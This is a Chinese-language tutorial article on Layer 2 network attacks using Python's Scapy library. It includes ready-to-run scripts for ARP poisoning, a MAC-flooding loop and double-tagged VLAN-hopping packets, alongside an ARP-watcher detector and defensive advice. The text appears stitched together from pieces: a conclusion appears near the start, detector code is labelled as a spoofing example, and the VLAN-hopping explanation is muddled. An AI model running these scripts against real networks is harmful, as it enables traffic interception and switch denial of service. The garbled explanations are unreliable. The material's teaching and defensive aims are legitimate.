網路安全議題中，層二攻擊手法因其直接性與難以追蹤性而備受關注。本文探討如何利用 Python 的 Scapy 函式庫實作 ARP 欺騙、MAC Flooding 和 VLAN Hopping 等常見的層二攻擊技術。同時也將探討如何防禦這些攻擊，並介紹相關的網路監控工具。藉由實際的程式碼範例和技術原理的剖析，希望能幫助讀者更深入地理解這些攻擊手法，並提升網路安全防護能力。文章中除了講解攻擊原理外，也提供防禦策略，例如設定靜態 ARP 條目、使用防火牆規則、佈署入侵偵測系統等，以期達到攻防兼備的學習目標。此外，文章也示範如何使用 Scapy 監控網路流量，並即時偵測 ARP 欺騙等異常行為，提供更全面的網路安全防護策略。
結語
瞭解Sockets和Scapy在進行網路通訊與安全測試中的應用非常重要。本文介紹瞭如何使用Python進行基本網路通訊、以及如何利用Scapy進行層次2攻擊。希望這些知識能夠幫助大家更好地理解和應對網路安全挑戰。
此圖示展示了Sockets在客戶端與伺服器之間通訊流程：
sequenceDiagram
participant C as Client
participant S as Server
C->>S: Connect to server on localhost:1337
S->>C: Accept connection
loop Continuous Data Exchange
C->>S: Send data (e.g., "Hello, world")
S->>C: Receive data and send back the same data
end
腳注說明：
此圖示展示了在上述簡單Echo Server與Client之間通訊流程。Client首先建立連線並傳送資料給Server；Server收到後即時回傳相同內容給Client。
利用ARP欺騙進行中間人攻擊
ARP欺騙是一種常見的網路攻擊手法，攻擊者透過欺騙目標主機的ARP快取，使其流量經過攻擊者的電腦。這種攻擊可以用來窺探、篡改或幹擾網路通訊。為了更好地理解這一攻擊，玄貓將帶領大家探討ARP欺騙的原理及其實作方法。
ARP欺騙的基本原理
ARP（Address Resolution Protocol）是用來將IP地址轉換為MAC地址的協定。當一台主機想要與另一台主機通訊時，它會傳送ARP請求來查詢目標主機的MAC地址。目標主機收到請求後會回應其MAC地址。這些資訊會被儲存在ARP快取中，以便後續通訊使用。
攻擊者可以透過傳送偽造的ARP回應來欺騙目標主機，使其相信攻擊者的MAC地址是目標主機的MAC地址。這樣，目標主機的流量就會被轉發到攻擊者的電腦。
單向中間人攻擊
首先，讓我們看看單向中間人攻擊。如果僅僅操控客戶端的ARP快取，那麼只有客戶端到伺服器的流量會經過攻擊者的電腦，而伺服器到客戶端的回應則不會被攔截。
此圖示說明瞭單向中間人攻擊的情況：
graph TD
A[客戶端] -->|ARP請求| B[攻擊者]
B -->|偽造ARP回應| A
A -->|流量| B
C[伺服器] -->|回應| A
這裡，客戶端向伺服器傳送ARP請求，但攻擊者攔截並回應偽造的ARP回應，使客戶端相信攻擊者就是伺服器。然而，伺服器到客戶端的回應仍然直接傳輸。
雙向中間人攻擊
為了實作雙向中間人攻擊，攻擊者需要同時欺騙客戶端和伺服器。具體來說，攻擊者需要在客戶端和伺服器之間進行雙向偽造。
此圖示說明瞭雙向中間人攻擊的情況：
graph TD
A[客戶端] -->|ARP請求| B[攻擊者]
B -->|偽造ARP回應| A
A -->|流量| B
B -->|偽造流量| C[伺服器]
C -->|ARP請求| B
B -->|偽造ARP回應| C
C -->|流量| B
B -->|偽造流量| A
這樣，無論是從客戶端到伺服器還是從伺服器到客戶端的流量都會經過攻擊者的電腦。
Python實作ARP欺騙
接下來，玄貓將展示如何使用Python和Scapy函式庫來實作ARP欺騙。
安裝Scapy
首先，我們需要安裝Scapy函式庫。可以使用以下命令進行安裝：
pip install scapy
ARP欺騙程式碼
以下是一個簡單的Python程式碼範例，用於實作ARP欺騙：
#!/usr/bin/python3
import sys
from scapy.all import sniff, sendp, ARP, Ether
if len(sys.argv) < 2:
print(sys.argv[0] + " <iface>")
sys.exit(0)
def arp_poison_callback(packet):
if packet[ARP].op == 1:
answer = Ether(dst=packet[ARP].hwsrc) / ARP()
answer[ARP].op = "is-at"
answer[ARP].hwdst = packet[ARP].hwsrc
answer[ARP].psrc = packet[ARP].pdst
answer[ARP].pdst = packet[ARP].psrc
print("Fooling " + packet[ARP].psrc + " that " + packet[ARP].pdst + " is me")
sendp(answer, iface=sys.argv[1])
sniff(prn=arp_poison_callback, filter="arp", iface=sys.argv[1], store=0)
內容解密：
- 匯入模組：我們首先匯入所需的模組。
sys用於處理命令列引數，scapy.all用於網路封包處理。 - 命令列引數檢查：檢查是否提供了網路介面引數。如果沒有提供，則輸出使用說明並離開。
- 定義回呼函式：
arp_poison_callback函式用於處理捕捉到的封包。當捕捉到一個ARP請求（packet[ARP].op == 1）時，構建一個偽造的ARP回應。 - 構建偽造封包：構建一個Ethernet封包並填充其內容。注意源IP和目的IP被互換。
- 傳送偽造封包：使用
sendp函式傳送偽造的封包。 - 捕捉封包：使用
sniff函式捕捉網路介面上的所有封包。設定過濾條件為"arp"，只捕捉ARP封包。
防禦措施
防禦ARP欺騙攻擊有多種方法：
- 靜態ARP條目：在目標主機上手動組態靜態ARP條目，避免動態更新。
- 使用防火牆：組態防火牆規則以阻止未經授權的封包。
- 監控工具：使用監控工具（如arp-watcher）來檢測可疑行為。
- 入侵檢測系統（IDS）：佈署IDS來檢測和預防這類別攻擊。
ARPWatcher工具
以下是一個簡單的Python程式碼範例，用於監控網路中的新連線裝置並檢測MAC地址變更：
#!/usr/bin/python3
from scapy.all import sniff, ARP
from signal import signal, SIGINT
import sys
arp_watcher_db_file = "/var/cache/arp-watcher.db"
ip_mac = {}
def sig_int_handler(signum, frame):
print("Got SIGINT. Saving ARP database...")
try:
with open(arp_watcher_db_file, "w") as f:
for ip, mac in ip_mac.items():
f.write(ip + " " + mac + "\n")
print("Done.")
except IOError:
print("Cannot write file " + arp_watcher_db_file)
sys.exit(1)
def watch_arp(pkt):
if pkt.haslayer(ARP) and pkt[ARP].op == 2:
ip = pkt[ARP].psrc
mac = pkt[ARP].hwsrc
if ip in ip_mac:
if ip_mac[ip] != mac:
print(f"Warning: IP {ip} changed MAC address from {ip_mac[ip]} to {mac}")
else:
ip_mac[ip] = mac
print(f"New device detected: IP {ip} with MAC {mac}")
signal(SIGINT, sig_int_handler)
sniff(prn=watch_arp, filter="arp", store=0)
內容解密：
- 匯入模組：我們首先匯入所需的模組。
scapy.all用於網路封包處理、signal用於處理訊號、sys用於系統操作。 - 定義資料函式庫檔案和字典：定義資料函式庫檔案位置和用於儲存IP與MAC對應關係的字典。
- 訊號處理函式：定義訊號處理函式
sig_int_handler，當接收到SIGINT訊號時（如按下Ctrl+C），儲存當前儲存在字典中的IP-MAC對應關係到資料函式庫檔案中。 - 定義監控函式：定義監控函式
watch_arp來處理捕捉到的封包。當捕捉到一個ARP回應（pkt[ARP].op == 2）時，提取源IP和MAC地址並進行比對。 - 比對與更新：如果IP已存在於字典中但MAC不同，則輸出警告資訊；如果IP不存在於字典中則新增該IP-MAC對。
- 捕捉封包：使用
sniff函式捕捉網路介面上的所有封包。設定過濾條件為"arp"，只捕捉ARP封包。
透過這些措施和工具，我們可以更好地防禦和檢測網路中的ARS欺騙攻擊。
利用 Scapy 進行 ARP 欺騙與 MAC Flooding 攻擊
在網路安全領域，層 2 攻擊（Layer 2 attacks）是一種常見且具威脅性的手段。這些攻擊主要針對網路交換器和其管理的 MAC 地址表，利用其特性來達到不同的攻擊目標。本文將探討如何利用 Python 的 Scapy 函式庫來進行 ARP 欺騙（ARP spoofing）與 MAC Flooding 攻擊，並深入分析其背後的技術原理。
ARP 欺騙（ARP Spoofing）
ARP 欺騙是一種常見的網路攻擊，攻擊者透過傳送偽造的 ARP 資料包，使得目標裝置誤以為攻擊者的 MAC 地址是目標 IP 地址的真實 MAC 地址。這樣，攻擊者就能夠攔截並篡改目標裝置之間的通訊。
以下是一個簡單的 ARP 欺騙範例：
from scapy.all import *
def watch_arp(pkt):
if pkt[ARP].op == 2:
print(pkt[ARP].hwsrc + " " + pkt[ARP].psrc)
if ip_mac.get(pkt[ARP].psrc) == None:
print("Found new device " + pkt[ARP].hwsrc + " " + pkt[ARP].psrc)
ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
elif ip_mac.get(pkt[ARP].psrc) and ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:
print(pkt[ARP].hwsrc + " has got new ip " + pkt[ARP].psrc + " (old " + ip_mac[pkt[ARP].psrc] + ")")
ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
def sig_int_handler(signum, frame):
with open(arp_watcher_db_file, "w") as fh:
for ip, mac in ip_mac.items():
fh.write(ip + " " + mac + "\n")
exit(0)
ip_mac = {}
arp_watcher_db_file = "arp_watcher_db.txt"
signal(SIGINT, sig_int_handler)
if len(sys.argv) < 2:
print(sys.argv[0] + " <iface>")
sys.exit(0)
try:
with open(arp_watcher_db_file, "r") as fh:
for line in fh:
line = line.strip()
ip, mac = line.split(" ")
ip_mac[ip] = mac
except IOError:
print("Cannot read file " + arp_watcher_db_file)
sys.exit(1)
sniff(prn=watch_arp, filter="arp", iface=sys.argv[1], store=0)
內容解密：
- 程式碼邏輯：這段程式碼定義了一個 ARP 欺騙檢測工具，能夠監控網路中的 ARP 資料包。
- 設計考量：使用字典
ip_mac來儲存 IP 地址和對應的 MAC 地址，方便快速查詢和更新。 - 技術原理：當檢測到 ARP 請求時，會檢查 IP 地址是否在字典中。如果不存在，表示是新裝置；如果存在但 MAC 地址不比對，則可能是欺騙行為。
- 潛在改進點：可以加入更多的錯誤處理和日誌記錄功能，提高穩定性和可追蹤性。
MAC Flooding 攻擊
MAC Flooding 是另一種層 2 攻擊，攻擊者透過傳送大量偽造的 MAC 地址資料包，使得交換器的 MAC 地址表溢位。當交換器的 MAC 地址表溢位時，會進入洪泛模式（flood mode），將所有流量廣播到所有埠，從而導致網路混亂甚至拒絕服務（DoS）。
以下是一個簡單的 MAC Flooding 攻擊範例：
from scapy.all import *
packet = Ether(src=RandMAC("*:*:*:*:*:*"), dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"), dst=RandIP("*.*.*.*")) / \
ICMP()
if len(sys.argv) < 2:
dev = "enp3s0f1"
else:
dev = sys.argv[1]
print("Flooding net with random packets on dev " + dev)
sendp(packet, iface=dev, loop=1)
內容解密：
- 程式碼邏輯：這段程式碼生成隨機的 Ethernet 和 IP 資料包，並持續傳送到指定的網路介面。
- 設計考量：使用
RandMAC和RandIP函式生成隨機的 MAC 和 IP 地址，確保每個資料包都是唯一的。 - 技術原理：透過傳送大量隨機資料包，迅速填滿交換器的 MAC 地址表，使其進入洪泛模式。
- 潛在改進點：可以加入速率控制和攻擊持續時間設定，避免過於激烈的攻擊導致網路完全癱瘓。
VLAN Hopping 攻擊
VLAN Hopping 是一種利用 VLAN 技術進行攻擊的方法。攻擊者可以透過在資料包中新增多個 VLAN 標籤來欺騙交換器，使資料包被轉發到不同的 VLAN 中。
以下是一個簡單的 VLAN Hopping 攻擊範例：
from scapy.all import *
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP()
sendp(packet)
內容解密：
- 程式碼邏輯：這段程式碼生成一個包含多個 VLAN 標籤的資料包，並發送出去。
- 設計考量：使用
Dot1Q函式新增多個 VLAN 標籤，使資料包能夠被轉發到不同的 VLAN 中。 - 技術原理：交換器會根據第一個 VLAN 標籤決定如何處理資料包。當看到第二個 VLAN 標籤時，會將資料包轉發到指定的 VLAN 中。
- 潛在改進點：可以結合其他攻擊手法，如 ARP 欺騙，增加攻擊成功率。
Linux 作為交換器
Linux 擁有強大的網路功能，可以透過一些工具將其轉變為一台完整功能的 VLAN 交換器。以下是如何使用 vconfig 工具將 Linux 主機新增到某個 VLAN 中：
vconfig add enp3s0f1 1
ifconfig enp3s0f1.1 192.168.13.23 up
內容解密：
- 命令解釋：
vconfig add enp3s0f1 1用於將網路介面enp3s0f1新增到 VLAN 1 中；ifconfig enp3s0f1.1 192.168.13.23 up用於啟動新生成的 VLAN 介面並分配 IP 地址。
啟示與反思
透過這些例子，我們可以看到 Scapy 在進行層 2 攻擊中的強大能力。然而，這些技術也應該謹慎使用，避免違反法律和倫理規範。在學習和實踐中，我們應該始終保持責任感和安全意識。
無論是 ARP 欺騙、MAC Flooding 還是 VLAN Hopping，都是層 2 網路安全中的重要課題。瞭解這些技術不僅有助於提升我們的防護能力，也能讓我們更好地理解網路通訊的一些基本原理。
